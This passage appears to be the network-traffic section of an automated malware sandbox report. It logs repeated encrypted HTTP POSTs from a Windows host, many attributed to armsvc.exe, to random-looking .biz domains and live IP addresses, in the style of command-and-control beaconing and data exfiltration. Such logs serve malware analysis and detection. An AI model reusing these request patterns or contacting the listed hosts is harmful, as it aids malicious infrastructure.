MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:05:22.255075932 CET	352	OUT	POST /eswgfgu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: gjogvvpsf.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:05:22.255075932 CET	850	OUT	Data Raw: 9b 96 4f 59 08 43 a7 70 46 03 00 00 00 e4 86 60 b5 a7 43 82 5a eb 60 95 e5 89 dc 61 95 25 d3 54 90 dd cf db 64 6e fa 96 fa 89 86 25 40 9a ee 08 a1 b0 9c c1 0e ce 63 b7 a3 12 a6 6c 13 df e2 06 5d 6a 1e 64 51 e1 0e cb ad ff f2 09 10 f9 8c 64 bb d2 Data Ascii: OYCpF`CZ`a%Tdn%@cl]jdQd8lo9x%#A:w?]Y_%Cav{sEOYu/"GU:=fP_Z G%[+/[\|vtE4w2.J)]IG5fVCjl$C;x
Oct 31, 2024 16:05:22.402158976 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:05:22 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Oct 31, 2024 16:05:22.627774954 CET	744	IN	HTTP/1.1 404 Not Found Server: nginx/1.14.0 (Ubuntu) Date: Thu, 31 Oct 2024 15:05:22 GMT Content-Type: text/html Content-Length: 580 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.22	49202	82.112.184.197	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:27.542558908 CET	350	OUT	POST /bcfum HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:27.542588949 CET	784	OUT	Data Raw: fa d1 46 64 45 e4 76 de 04 03 00 00 9f 7d 04 41 32 6c e0 bc 07 3a d7 6e e9 bc ee 37 39 fc 9f 05 6f a6 a9 ad 3e de d1 e0 7a 8b f0 56 75 2b f1 bd b0 c6 b8 bf 5b ff 7a 42 1c 45 2c 8c 1f 31 cb 0a 9b 7b 64 bb 4c 83 8d 97 a6 03 7c ce 67 54 c5 04 d2 9e Data Ascii: FdEv}A2l:n79o>zVu+[zBE,1{dL\|gT]qgj=IJ1oN6u15vD"AC${)S.kHcJJ?<bS^+Tx#h!e;6>yR?5W8$R]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.22	49203	13.251.16.150	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:27.556497097 CET	354	OUT	POST /uniexccayncf HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: qaynky.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:27.556539059 CET	850	OUT	Data Raw: bb 91 43 02 f5 7b fd aa 46 03 00 00 7a 02 90 68 65 f9 69 e7 99 c7 f9 60 9f 67 92 17 51 5f 97 a9 68 8f 6f 08 5c d0 68 47 6e cd 48 62 9f 9b 36 c2 ac 37 38 77 08 22 47 86 e6 db e4 fa 0a 13 fd 38 19 88 b1 a0 f0 bd 77 c9 e4 bd 3d a6 88 d0 70 f3 d9 5a Data Ascii: C{Fzhei`gQ_ho\hGnHb678w"G8w=pZb*pgj(kg<:X-{+ j%]s7u#aE[,09l4l/0t.JF<.vfCXwASJc#](?5^Ou0bb#x5m0>J
Oct 31, 2024 16:04:29.250140905 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:28 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=19c21bc9793e0a1f414fdbb5f8ffef32\|173.254.250.77\|1730387068\|1730387068\|0\|1\|0; path=/; domain=.qaynky.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.22	49204	44.221.84.105	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:29.639847994 CET	350	OUT	POST /jeenu HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: bumxkqgxu.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:29.640011072 CET	850	OUT	Data Raw: 64 3a 79 68 c9 8c 3b 35 46 03 00 00 93 ce ba f1 24 09 87 0a a1 d2 4a 7b e0 da 65 64 43 d8 7c b6 c2 98 39 a4 04 74 c6 de c9 de b9 a7 7f c7 41 07 1b 07 f7 95 12 4b 90 cb 7e b8 95 9d b1 0b a9 e0 4c 84 f6 c0 0e 39 de 38 02 a4 54 da 38 b1 f7 38 66 2e Data Ascii: d:yh;5F$J{edC\|9tAK~L98T88f.J'&V-DPO[XiR#lIA&QZyz]=%ofkP..nr`"RHHB<hgU{3aD/Zt---Gmu
Oct 31, 2024 16:04:30.302133083 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:30 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=0e480a0638f98902e5122e27540c3487\|173.254.250.77\|1730387070\|1730387070\|0\|1\|0; path=/; domain=.bumxkqgxu.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.22	49205	54.244.188.177	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:30.343605995 CET	353	OUT	POST /hifqxchjb HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: dwrqljrr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:30.343697071 CET	850	OUT	Data Raw: 58 5f 61 86 48 61 28 12 46 03 00 00 43 f7 2e 51 15 3c 97 19 4e 36 fe bd d2 03 42 b4 de db cf 58 c1 a6 77 7e 52 4f a8 0a 08 42 c2 9e dc 57 af 43 1d 25 38 11 ea 15 32 60 db 6b 68 e1 ca 47 f3 5f ba 2a 6b 14 1d 9c 73 21 e9 59 a7 4c 27 e9 4d f9 97 92 Data Ascii: X_aHa(FC.Q<N6BXw~ROBWC%82`khG_*ks!YL'MEddo]}^ 7ZFlT,$[7W0fi>y\d]3tC\8w&6{tULq?}+)PWNcMAnOJ!Rw$ ~
Oct 31, 2024 16:04:32.039516926 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=87bbef1b8368e0f8c0d20a12cbfbf72c\|173.254.250.77\|1730387071\|1730387071\|0\|1\|0; path=/; domain=.dwrqljrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:04:32.039767981 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=87bbef1b8368e0f8c0d20a12cbfbf72c\|173.254.250.77\|1730387071\|1730387071\|0\|1\|0; path=/; domain=.dwrqljrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Oct 31, 2024 16:04:32.040057898 CET	416	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:31 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=87bbef1b8368e0f8c0d20a12cbfbf72c\|173.254.250.77\|1730387071\|1730387071\|0\|1\|0; path=/; domain=.dwrqljrr.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.22	49206	35.164.78.200	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:32.739212036 CET	355	OUT	POST /bqcsnekhcxofg HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: nqwjmb.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:32.739263058 CET	850	OUT	Data Raw: 9c 78 5a 01 15 f1 81 17 46 03 00 00 14 94 2d e5 ea 9e 6d ec c0 ce cd 3c 77 a2 6d f7 45 58 4d 4d 30 43 32 a9 f4 6b cd a4 c8 b6 8a c4 59 4c 5e 52 d5 e5 c9 92 f6 3d c1 4b b3 8d f5 89 2d 73 07 42 bc 94 9e c9 e7 75 93 62 eb f0 70 37 8f f0 f0 c1 d3 8d Data Ascii: xZF-m<wmEXMM0C2kYL^R=K-sBubp7$Q<}D+P3]1%dx[^cx[J:6AEd#;{ \?!#St~&LA$M;n*`eDaA!O<pX.Ca\p-^ErU
Oct 31, 2024 16:04:33.241920948 CET	414	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=6341b0f2cf8d9c3ce4b253dce67a7025\|173.254.250.77\|1730387073\|1730387073\|0\|1\|0; path=/; domain=.nqwjmb.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.22	49207	3.94.10.34	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:33.305404902 CET	353	OUT	POST /nagvkyko HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: ytctnunms.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:33.305444002 CET	850	OUT	Data Raw: 27 c4 fe 94 b7 8c 81 b8 46 03 00 00 de 6e 30 5e 93 28 4d ca 8b 70 46 23 39 9d 16 bb 09 0e 7e 8b c0 99 5d 96 f9 13 13 8c 94 a1 55 95 79 3a 49 16 ae 6e 0f e3 c3 f0 85 09 ca 35 67 4c 8b e8 63 b7 94 f4 f0 9f 2b d2 46 e0 f0 52 13 b5 d0 df e5 24 9f 73 Data Ascii: 'Fn0^(MpF#9~]Uy:In5gLc+FR$sItTNd}C'`T#NMxb CIF0ZeAc1"f+kkD/.<S0(ZvwcgG)g(@~vN$c)6`T2I
Oct 31, 2024 16:04:33.973349094 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:33 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=9cfea5a5ba0e5b82689ba0913461bc00\|173.254.250.77\|1730387073\|1730387073\|0\|1\|0; path=/; domain=.ytctnunms.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.22	49210	165.160.15.20	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:34.179646969 CET	356	OUT	POST /wrlqhmagcktensq HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: myups.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:34.179714918 CET	850	OUT	Data Raw: 4e 7f 63 3c 51 a6 9b d1 46 03 00 00 31 10 69 1b 23 c1 46 2d f0 3a c9 c3 8f 18 9b 6f e5 c8 9e d1 19 7a 5a 08 7b 92 5c dd 25 21 f1 00 5f e0 6a 89 36 05 b7 4a 6d ce e4 5b 48 c7 2a ed ee 67 4e 65 2c e0 8c 3c fd 7d 60 cb d9 6b d2 43 b8 ed 2e b7 8d 77 Data Ascii: Nc<QF1i#F-:ozZ{\%!_j6Jm[H*gNe,<}`kC.wT,4\|9uXFC0 7Qy]lwcKGF\Op{gF'JEK5zI~pQlc1z23'NF9_u/4\|tuX
Oct 31, 2024 16:04:34.888621092 CET	170	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 15:04:34 GMT Content-Length: 94 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 76 69 73 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 31 2e 31 2e 37 22 20 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title></title><meta name="revised" content="1.1.7" /></head><body></body></html>
Oct 31, 2024 16:04:34.989937067 CET	348	OUT	POST /rexvoyt HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: myups.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:34.989975929 CET	850	OUT	Data Raw: a6 1d 86 0f 91 68 c1 4d 46 03 00 00 a0 ce b2 1d 42 30 ff 9a 40 3c 0b 41 2d 46 8a 6f 1e 92 f1 80 d8 c4 76 25 7b 4d 2f 80 ff 79 78 5a 9f 72 4d de d8 5c 36 d3 3b af 68 6b 24 f6 9d 2e 64 8e 5f 9f 33 d1 2a f8 33 fb d6 2c 3c 85 6d 7f 05 8e ce 26 4c 55 Data Ascii: hMFB0@<A-Fov%{M/yxZrM\6;hk$.d_3*3,<m&LU?h'KRoWQE%<H'NK25aY,&3uwcKd>F"T<c8}TD+HOUkJDDMZ;=.D&u)Vq)?p8fC
Oct 31, 2024 16:04:35.379733086 CET	170	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 15:04:35 GMT Content-Length: 94 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 76 69 73 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 31 2e 31 2e 37 22 20 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title></title><meta name="revised" content="1.1.7" /></head><body></body></html>
Oct 31, 2024 16:04:35.387772083 CET	170	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 15:04:35 GMT Content-Length: 94 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 76 69 73 65 64 22 20 63 6f 6e 74 65 6e 74 3d 22 31 2e 31 2e 37 22 20 2f 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title></title><meta name="revised" content="1.1.7" /></head><body></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.22	49212	54.244.188.177	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:35.414726019 CET	351	OUT	POST /tgqgrv HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: oshhkdluh.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:35.414762974 CET	850	OUT	Data Raw: 05 34 b7 ee 35 09 47 4f 46 03 00 00 b2 cf d4 7f e0 75 30 66 96 12 2e cd 35 4a 8e 42 4f b9 e5 7b 85 64 c0 77 44 b1 0f 86 22 a3 2e 7f d2 35 2a 9a 26 38 de 05 81 e7 78 63 0d 8e a9 c8 4c 0c e7 fe 46 e8 5b a3 37 c9 fa b1 62 01 eb 3d 71 61 12 36 1e c1 Data Ascii: 45GOFu0f.5JBO{dwD".5&8xcLF[7b=qa6.zEl36qv8)3tiZL&8~"nMkJ6#)^T+@w^Rc/]$:c+hgw*i9'r-0I/DDoI
Oct 31, 2024 16:04:36.241961956 CET	417	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=e0bb617961bf8016ece3998dc8d7c4f8\|173.254.250.77\|1730387076\|1730387076\|0\|1\|0; path=/; domain=.oshhkdluh.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.22	49213	82.112.184.197	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:36.238004923 CET	346	OUT	POST /i HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: vjaxhpbji.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 784
Oct 31, 2024 16:04:36.238022089 CET	784	OUT	Data Raw: d0 d9 60 19 6e a0 6d 0b 04 03 00 00 82 86 d7 d6 fe 01 03 db 54 b3 29 00 72 f6 19 2c 6f 0d 07 7f f4 bd 1b 2f 30 a6 54 8c ad f8 8d b7 df 3a 70 ae 29 18 ba f3 b4 29 b0 d8 43 f4 d4 dd eb 69 07 05 e0 24 9c d4 0c dd 3f b4 22 d3 ce 9f 0f 47 b2 5a fd 22 Data Ascii: `nmT)r,o/0T:p))Ci$?"GZ">\.ue?I3>;dx'Y;]I.fw@zZIFSNZ"<^Ha*yqDCFL`pQ{KE7pGu#Em4j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.22	49214	34.211.97.45	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:36.616111040 CET	349	OUT	POST /nlfgdwom HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: jpskm.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:36.616173029 CET	850	OUT	Data Raw: 57 58 cd b6 11 ec 0c 45 46 03 00 00 2a 76 0b ef b1 9b 8a e4 9d c1 07 93 f7 8a 9b df ab eb b8 88 a5 0d 1e 98 75 08 ba 52 b5 b6 3b 8b 69 6b 87 a6 94 b7 4e c6 7e 45 35 aa 95 d3 56 83 94 63 cc 81 41 88 b1 ab e0 67 38 d1 2b fc 5d 9f 28 df 52 9b e9 4a Data Ascii: WXEF*vuR;ikN~E5VcAg8+](RJ_##)aefFo{^&NjaW0{\|~mwq`j;In,ou7(~@ZI[ZB8}AO#<["mG!V"I]m`nZ
Oct 31, 2024 16:04:37.449883938 CET	413	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Oct 2024 15:04:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Set-Cookie: btst=79ed7b3cbac4f0ada732c29500a59f34\|173.254.250.77\|1730387077\|1730387077\|0\|1\|0; path=/; domain=.jpskm.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax; Set-Cookie: snkz=173.254.250.77; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.22	49215	54.244.188.177	80	3284	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 16:04:37.494436979 CET	358	OUT	POST /wdkbakfwcljeee HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: lrxdmhrr.biz User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.884.400 QQBrowser/9.0.2524.400 Content-Length: 850
Oct 31, 2024 16:04:37.494537115 CET	850	OUT	Data Raw: 7d 13 32 5e ab 06 26 5f 46 03 00 00 69 4a 81 2e 5c c2 6f 14 a5 58 e7 44 33 9d 29 ee 63 d3 65 2f 97 09 2c 4b e7 a4 d9 56 8e f8 ad b9 65 50 9c 4e 87 0f 05 76 8e 27 be 71 a6 4a 04 31 90 0a 5c 14 6b a4 ca bd f9 f8 ae ed 9e ab b9 87 88 e7 df 5e 64 21 Data Ascii: }2^&_FiJ.\oXD3)ce/,KVePNv'qJ1\k^d!7s1\|8^a+sh=a#=gSU{/{tVG{!"aQ<+8(o?~e1bnLo!uw.Ii7dg>Dp&
